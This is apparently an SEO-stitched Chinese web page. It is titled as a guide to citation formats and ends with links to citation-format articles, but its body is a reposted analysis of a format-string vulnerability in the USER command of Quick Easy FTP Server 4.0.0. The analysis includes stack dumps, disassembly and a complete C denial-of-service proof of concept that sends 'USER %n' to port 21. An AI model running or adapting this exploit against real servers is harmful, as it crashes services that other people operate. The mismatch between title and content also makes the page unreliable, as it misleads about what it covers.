参考文献多个作者格式
1.参考文献多个作者格式 篇一
版本:Quick easy ftp server 4.0.0(其他版本未测试)
测试:W2K SP4
Quick easy ftp server 4.0.0 未安全使用wsprintfA函数进行字符串操作,导致格式化串漏洞,受影响的命令包括LS, CD,USER等。其中,USER命令不需要拥有合法的账户。
以下是简短的分析:
对于提交用户名:%x%x%x%x%n
读取参数时的栈布局如下:
0012FCC0 011652E8 ASCII “02/10/ 22:33:20.296 (000001)”,TAB,“ - (not logged in)”,TAB,“(127.0.0.1)>”,TAB,“USER %x%x%x%x%n”
0012FCC4 01167670 ->%x
0012FCC8 01164F60 ASCII “(000001)”,TAB,“ - (not logged in)”,TAB,“(127.0.0.1)>”,TAB,“USER %x%x%x%x%n” ->%x
0012FCCC 0012FD88 ->%x
0012FCD0 004147B0 ftpserve.004147B0 ->%x
0012FCD4 312F3230 ->%n
其中0012FCC4 01167670-》指向一个虚函数表
再后来的调用中有如下代码:
00450F13 |. 8B06 |mov eax, dword ptr [esi]
00450F15 |. 8BCE |mov ecx, esi
00450F17 |. FF90 B0000000 |call dword ptr [eax+B0] --》该eax为可控值,即为%n写入的值
然而由于在参数的第一个位置,无法通过格式化字符串提供更大的值(至少达到栈空间),故不可利用。
0012FCCC 0012FD88 ->%x 该位置放置EBP,在后来恢复栈时将%n写入的值赋予了EBP,在如下代码是崩溃
00450844 |. 8945 FC mov dword ptr [ebp-4], eax
00450847 |> 8B45 FC mov eax, dword ptr [ebp-4] -》程序崩溃,访问违例(ebp此时很小)
0045084A |. 5E pop esi
0045084B |. C9 leave
0045084C . C2 0C00 retn 0C
由于leave指令在x86中相当于
mov esp, ebp
pop ebp -》注意,POP相对于此时的esp而言,相当于add esp, 4而已
类似于off-by-one的,在retn 0c是,我们也许能够得到一个执行shellcode的机会。
发现提交的USER 字段的值长度限制在很短,此指针通用不可用
1.考察栈中没有提交的原始字符串,没有选择地址的机会(其实有,但是在栈地地址,wsprintfA函数无法达到),没有选择地址的机会
2.考察攻击S.E.H链条,距离漏洞触发代码较远,给的字符数量严重不足,根本无法达到修改链条节点的目的
3.在线程中放置shellcode很困难,没有实际意义。
以我的水平只能达到D.O.S的效果了。
对于USER命令的漏洞测试代码(D.O.S)
#include
#include
#include
#pragma comment(lib, “ws2_32.lib”)
int SendPayload(char* lpHost, int intPort, char* lpPayload, int intSize);
int main(int argc, char* argv[])
{
if(argc != 2)
{
printf(“Quick easy ftp server 4.0.0 USER命令格式化串漏洞(D.O.S) POC ”);
printf(“contact: ylbhz@hotmail.com”);
printf(“C:>exp [ip address] ”);
return 0;
}
char strHost[20] = {0};
strcpy(strHost, argv[1]);
char lpBuf[] = “USER %n ”;
SendPayload(strHost, 21, lpBuf, lstrlenA(lpBuf));
return 0; www.2cto.com
}
int SendPayload(char* lpHost, int intPort, char* lpPayload, int intSize)
{
SOCKET sock;
struct sockaddr_in client;
WSADATA wsa;
printf(“[*]Init socket... ”);
if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)
{
printf(“[-]WSAStartup Error! ”);
return -1;
}
try
{
client.sin_addr.S_un.S_addr = inet_addr(lpHost);
client.sin_family = AF_INET;
client.sin_port = htons(intPort);
}catch(...)
{
printf(“[-]socket_inaddr init error! ”);
return -1;
}
sock = socket(AF_INET,SOCK_STREAM,0);
if(sock == SOCKET_ERROR)
{
printf(“[-]socket create error! ”);
WSACleanup();
return -1;
}
printf(“[+]Socket Init success! ”);
printf(“[*]Connect the Server... ”);
if(connect(sock,(struct sockaddr *)&client,sizeof(client)) == SOCKET_ERROR)
{
printf(“[-]Connect Error! ”);
closesocket(sock);
WSACleanup();
return -1;
}
printf(“[+]Connect successfull! ”);
printf(“[*]Send Payload! ”);
int intLen = send(sock, lpPayload, intSize, 0);
if(intLen <= 0) printf(“[-]Send Payload Error! ”);
else printf(“Send %d bytes ”, intLen);
char strBuf[1024] = {0};
intLen = recv(sock, strBuf, 1024, 0);
printf(“[*]Close Socket! ”);
closesocket(sock);
return 0;
}
摘自:痛苦的信仰
【参考文献多个作者格式】推荐阅读:
apa参考文献格式格式08-01
文献综述格式参考模板11-14
注释、参考文献格式规范10-07
引用参考文献的标准格式09-01
apa格式的参考文献10-26
论文参考文献和注释的编排格式08-08
华理参考文献翻译11-02
注释、参考文献规范写法07-24
应收账款论文参考文献10-07
社会工作论文参考文献07-03